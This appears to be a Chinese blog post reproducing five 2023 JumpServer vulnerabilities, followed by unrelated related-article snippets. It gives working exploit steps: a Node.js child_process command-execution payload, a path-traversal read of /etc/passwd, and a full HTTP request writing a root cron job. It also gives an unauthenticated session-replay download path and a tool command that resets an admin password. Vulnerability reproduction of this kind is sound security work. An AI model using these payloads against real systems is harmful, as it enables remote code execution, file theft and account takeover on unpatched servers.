JumpServer2023漏洞复现合集
本文主要复现JumpServer2023年出现的大批量漏洞,既是分享也是为了记录自己的成长,近期会持续更新。
1. JumpServer MongoDB远程代码执行漏洞(CVE-2023-43651)
1.1 漏洞级别
高危
1.2 漏洞描述
经过身份验证的用户可以利用MongoDB会话中的漏洞执行任意命令,成功利用该漏洞的攻击者可获取目标系统上的root权限,最终可实现远程代码执行。
1.3利用范围
2.24 <= jumpserverv 2.x <= 2.28.20
jumpserverv 3.x <= 3.6.4
1.4 漏洞复现
这个漏洞很简单,只要在漏洞版本且启用了koko组件就存在。在Web Terminal模块连接数据库,即可在命令行中执行js代码
console.log(require("child_process").execSync("id").toString())
注:之所以这是一个高危漏洞,因为执行该命令的是堡垒机所在的机器而不是安装有mongo的宿主机。
2.JumpServer任意文件读取漏洞(CVE-2023-42819)
2.1 漏洞级别
高危
2.2 漏洞描述
JumpServer中存在远程代码执行漏洞,具有低权限的远程攻击者成功利用该漏洞可登录访问系统,最终实现目标系统上执行任意代码或修改任意文件内容。
2.3利用范围
3.0.0 <= JumpServer < 3.6.4
2.4 漏洞复现
创建playbook。位置在“工作台 -> 作业中心 -> 模板管理 -> Playbook管理 -> 创建Playbook”,创建后会获得一个id:
访问链接
[url]/api/v1/ops/playbook/[id]/file/?key=/etc/passwd
即可成功获得敏感文件内容

2.4.2 进一步利用
我们可以通过写入定时任务的方式进行进一步利用。
POST /api/v1/ops/playbook/bd456105-c552-44ec-b890-6216656c1f7e/file/ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: SESSION_COOKIE_NAME_PREFIX=jms_; jms_public_key="LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FEdEhwL0JkRWtqYjNkb2NObWVGaGlxUFhVeQo0N0RPbU1DMTZ4QTBuL29ubWdIU3FXdktSSGlHQmlDdDNDTG1yUDM4MXpFZGZHaXA0anE1QThIS2grVjgyVjdCCk1IS044S29GTUZMZ3RFbGUwMTNRZTBSRTRWclgzc3JzZ05sZGNuVUQ1eVpFQTEyR2hUcWRPNTRpejQ4RmtOS1AKbjNMMS9jZDdIUlZsSm9TWUNRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ=="; jms_sessionid=708sbyw1e1zmfw79wdcbot2omas8cw3z; jms_csrftoken=SqmVxQn9Ue50oVvrEtQMMSy4MFjXhZaVdngoWFM0MZ2WdaKNjISftqKndsD9Dw3f; X-JMS-ORG=00000000-0000-0000-0000-000000000002; sidebarStatus=1; django_language=zh-hans; activeTab=PlaybookDetail; jms_session_expire=close
Upgrade-Insecure-Requests: 1
X-CSRFToken:SqmVxQn9Ue50oVvrEtQMMSy4MFjXhZaVdngoWFM0MZ2WdaKNjISftqKndsD9Dw3f
Content-Type: application/json
Content-Length: 116{"key":"/etc/cron.d",
"is_directory":false,
"name":"test1",
"content":"* * * * * root touch /tmp/success\n"
}
- key值为创建文件的目录
- name为文件名
- content为文件内容
- header中必须要有X-CSRFToken头,值为cookie中的jms_csrftoken的值
- header中必须有Content-Type,值为application/json
3. Session录像任意下载漏洞(CVE-2023-42442)
3.1 漏洞级别
高危
3.2 漏洞描述
API接口/api/v1/terminal/sessions/权限控制被破坏,该API会话重放可以在没有身份验证的情况下下载。利用该漏洞可以访问录像文件,远程获取到敏感信息。
3.3利用范围
3.0.0 <= JumpServer <= 3.5.4
3.6.0 <= JumpServer <= 3.6.3
3.4 漏洞复现
访问接口,即可获取session信息。
url/api/v1/terminal/sessions/
获取replay的数据 我们发起get请求访问以下路径
url/meida/xpack/../replay/[date]/[id].cast.gz
- date格式为2023-11-13
- id的值为上一步中获取的id
获取结果如下:

4. 随机数种子泄漏造成用户接管漏洞(CVE-2023-42820)
4.1 漏洞级别
高危
4.2 漏洞描述
JumpServer中存在密码重置漏洞,由于第三方库将随机种子数暴露给了API,可能导致随机验证码被重放,未经身份验证的远程攻击者通过构造恶意请求重置密码。
4.3利用范围
2.24 <= JumpServer < 3.6.4
注:我在2.27版本下测试时,并不能直接获取到token,如何进一步利用没有研究出来,有研究的可以分享一下~
4.4 漏洞复现
4.4.1 快速通关
可以使用下列项目
https://github.com/tarimoe/blackjump
执行命令
python3 blackjump.py rest [url]
如果知道目标的用户名和邮箱可以指定 --user 和 --email 参数,默认是admin账号
注:该脚本会直接修改目标账号密码,使用需要谨慎
使用新密码即可成功登录

5. 重置密码Token可爆破漏洞(CVE-2023-43650)
5.1 漏洞级别
高危
5.2 漏洞描述
由于重置用户密码的验证码没有速率限制,未经身份验证的远程攻击者可通过请求重置密码,爆破收到的6位验证码来实现劫持非MFA帐户。
5.3利用范围
2.0.0 <= JumpServer < 2.28.19
3.0.0 <= JumpServer < 3.7.0
注:我在2.27版本下测试时,不要输出邮箱验证码,如何进一步利用没有研究出来,有研究的可以分享一下~
5.4 漏洞复现
在3.1.0版本下无法复现,对验证码进行爆破会提交验证码过期 ,该版本下漏洞可能已经修复了。漏洞原理简单,抓包bp直接爆破就行。
相关文章:
JumpServer2023漏洞复现合集
本文主要复现JumpServer2023年出现的大批量漏洞,既是分享也是为了记录自己的成长,近期会持续更新。 1. JumpServer MongoDB远程代码执行漏洞(CVE-2023-43651) 1.1 漏洞级别 高危 1.2 漏洞描述 经过身份验证的用户可以利用Mon…...
【Linux】Ubuntu16.04配置repo
Ubuntu16.04配置repo失败 在学习韦东山Linux嵌入式开发过程中,使用repo获取内核及工具链: git clone https://e.coding.net/codebug8/repo.gitmkdir -p 100ask_imx6ull-sdk && cd 100ask_imx6ull-sdk../repo/repo init -u https://gitee.com/weidongshan/m…...
uniapp小程序更新逻辑,按实际开发为主
小程序更新: uniapp小程序更新逻辑 uni.getUpdateManager() 方法参数说明onCheckForUpdatecallback当向小程序后台请求完新版本信息,会进行回调onUpdateReadycallback当新版本下载完成,会进行回调onUpdateFailedcallback当新版本下载失败,会…...
骨传导蓝牙耳机哪款好?这五款骨传导耳机闭眼入都不会错!
随着科技的发展,数码产品更新换代的速度也是越来越快,如今无线蓝牙耳机已经占据主流,特别是运动爱好者,很多人都会为自己挑选一款好用的运动耳机,而骨传导耳机异军突起,凭借听歌不入耳、佩戴舒适稳固等特性…...
数据库操作入门:PyMongo 和 MongoDB 的基本用法
MongoDB MongoDB是一种流行的NoSQL数据库,它将数据存储在类似JSON的文档中,使数据库非常灵活和可扩展 PyMongo Python需要一个MongoDB驱动程序来访问MongoDB数据库。在本教程中,我们将使用MongoDB驱动程序 “PyMongo”。建议使用PIP来安装…...
开发企业微信群机器人,实现定时提醒
大家好,我是鱼皮,今天分享一个用程序解决生活工作问题的真实案例。 说来惭愧,事情是这样的,在我们公司,每天都要轮流安排一名员工(当然也包括我)去楼层中间一个很牛的饮水机那里接水。但由于大…...
剑指 Offer 06. 从尾到头打印链表
title: 剑指 Offer 06. 从尾到头打印链表 tags: 链表递归迭代 categories:算法剑指 Offer 题目描述 输入一个链表的头节点,从尾到头反过来返回每个节点的值(用数组返回)。 示例 1: 输入:head [1,3,2] 输出&#…...
深度学习之基于Pytorch服装图像分类识别系统
欢迎大家点赞、收藏、关注、评论啦 ,由于篇幅有限,只展示了部分核心代码。 文章目录 一项目简介系统组成1. 数据集准备2. 数据预处理3. 模型构建4. 模型训练5. 模型评估 PyTorch的优势 二、功能三、系统四. 总结 一项目简介 深度学习在计算机视觉领域的…...
串口通讯:
一、 1.在用ReadFile和WriteFile读写串口时,既可以同步执行,也可以重叠执行: 在同步执行时,函数直到操作完成后才返回。这意味着同步执行时线程会被阻塞,从而导致效率下降。 在重叠执行时,即使操作…...
批量重命名软件推荐 A Better Finder Rename 12最新 for mac
A Better Finder Rename的大量重命名选项被组织成15个直观的类别,涵盖了一个伟大的文件重命名器所期望的所有文本,字符,位置,转换和截断功能。 除此之外,A Better Finder Rename提供了更多高级功能,可以满…...
【2013年数据结构真题】
highlight: a11y-dark 41题 王道解析: 算法的策略是从前向后扫描数组元素,标记出一个可能成为主元素的元素Num 。然后重新计数,确认Num是否是主元素。算法可分为以下两步: 选取候选的主元素:依次扫描所给数组中的每个…...
csrf学习笔记总结
跨站请求伪造csrf csrf概述 掌握CSRF 漏洞原理 掌握CSRF 漏洞场景 掌握CSRF 漏洞验证 csrf原理 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程…...
【kafka】windows安装启动
1.zookeeper的安装与启动 快速打开window powershell: windowx,选 2.kafka下载 —注意kafka和zookeeper需要版本匹配 安装路径 注意,kafka安装目录不能有空格。文件下载到: D:\Program_Files\kafka_2.12-3.6.0新建logs文件 修改c…...
redis的基本命令,并用netty操作redis(不使用springboot或者spring框架)就单纯的用netty搞。
大家如果对使用netty搞这些http请求什么的感兴趣的,可以参观我自己创建的这个项目。 nanshaws/nettyWeb: 复习一下netty,并打算做一个web项目出来 (github.com) Redis的基本命令包括: SET key value:设置指定key的值。 GET key…...
《白帽子讲web安全》笔记
第八章 文件上传漏洞 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力 文件上传后导致的常见安全问题一般有: ❍ 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本…...
unity UGUI无限循环滚动居中
最近在做一个ui循环滚动的功能,网上找了半天脚本感觉都和我实际需求不太符合,自己花费一些时间完成了这个功能记录一下。下面开始正题 ,我是采用unity自带组件Scroll View来完成,首先设置Scroll View如下图 面板层级结构如下 然…...
人工智能与新能源电动车的融合——技术创新引领未来交通革命
人工智能与新能源电动车的融合——技术创新引领未来交通革命 摘要:本文探讨了人工智能与新能源电动车领域的技术融合,分析了其在智能驾驶、电池技术、充电设施等方面的应用与创新。文章指出,这两大技术的结合将重塑交通产业,为我…...
交换机堆叠 配置(H3C)堆叠中一台故障如何替换
交换机堆叠 配置(H3C)堆叠中一台故障如何替换 堆叠用来干什么?配置两台成员设备的 IRF(堆叠)Switch01配置Switch02配置 如何替换堆叠中坏掉的一台交换机 堆叠用来干什么? 一台交换机网口有限,无…...
2024年软考有哪些考试科目?具体考什么内容?
软考分为三个考试层次,软考初级、中级和高级,每个层次的考试科目,其考试内容都是不一样的。报考时先选层次,再选科目。选好科目后,再看自己需要学习哪些内容。 一、软考初级科目 1.程序员: 考核内容&…...
2023.11.12 hive中分区表,分桶表与区别概念
1.分区表 分区表的本质就是在分目录 当Hive表对应的数据量大、文件多时,为了避免查询时全表扫描数据。比如把一整年的数据根据月份划分12个月(12个分区),后续就可以查询指定月份分区的数据,尽可能避免了全表扫描查询。…...
浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)
✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义(Task Definition&…...
《Playwright:微软的自动化测试工具详解》
Playwright 简介:声明内容来自网络,将内容拼接整理出来的文档 Playwright 是微软开发的自动化测试工具,支持 Chrome、Firefox、Safari 等主流浏览器,提供多语言 API(Python、JavaScript、Java、.NET)。它的特点包括&a…...
Vue 模板语句的数据来源
🧩 Vue 模板语句的数据来源:全方位解析 Vue 模板(<template> 部分)中的表达式、指令绑定(如 v-bind, v-on)和插值({{ }})都在一个特定的作用域内求值。这个作用域由当前 组件…...
协议转换利器,profinet转ethercat网关的两大派系,各有千秋
随着工业以太网的发展,其高效、便捷、协议开放、易于冗余等诸多优点,被越来越多的工业现场所采用。西门子SIMATIC S7-1200/1500系列PLC集成有Profinet接口,具有实时性、开放性,使用TCP/IP和IT标准,符合基于工业以太网的…...
【Linux】Linux安装并配置RabbitMQ
目录 1. 安装 Erlang 2. 安装 RabbitMQ 2.1.添加 RabbitMQ 仓库 2.2.安装 RabbitMQ 3.配置 3.1.启动和管理服务 4. 访问管理界面 5.安装问题 6.修改密码 7.修改端口 7.1.找到文件 7.2.修改文件 1. 安装 Erlang 由于 RabbitMQ 是用 Erlang 编写的,需要先安…...
加密通信 + 行为分析:运营商行业安全防御体系重构
在数字经济蓬勃发展的时代,运营商作为信息通信网络的核心枢纽,承载着海量用户数据与关键业务传输,其安全防御体系的可靠性直接关乎国家安全、社会稳定与企业发展。随着网络攻击手段的不断升级,传统安全防护体系逐渐暴露出局限性&a…...
负载均衡器》》LVS、Nginx、HAproxy 区别
虚拟主机 先4,后7...
李沐--动手学深度学习--GRU
1.GRU从零开始实现 #9.1.2GRU从零开始实现 import torch from torch import nn from d2l import torch as d2l#首先读取 8.5节中使用的时间机器数据集 batch_size,num_steps 32,35 train_iter,vocab d2l.load_data_time_machine(batch_size,num_steps) #初始化模型参数 def …...
简单介绍C++中 string与wstring
在C中,string和wstring是两种用于处理不同字符编码的字符串类型,分别基于char和wchar_t字符类型。以下是它们的详细说明和对比: 1. 基础定义 string 类型:std::string 字符类型:char(通常为8位)…...
智警杯备赛--excel模块
数据透视与图表制作 创建步骤 创建 1.在Excel的插入或者数据标签页下找到数据透视表的按钮 2.将数据放进“请选择单元格区域“中,点击确定 这是最终结果,但是由于环境启不了,这里用的是自己的excel,真实的环境中的excel根据实训…...
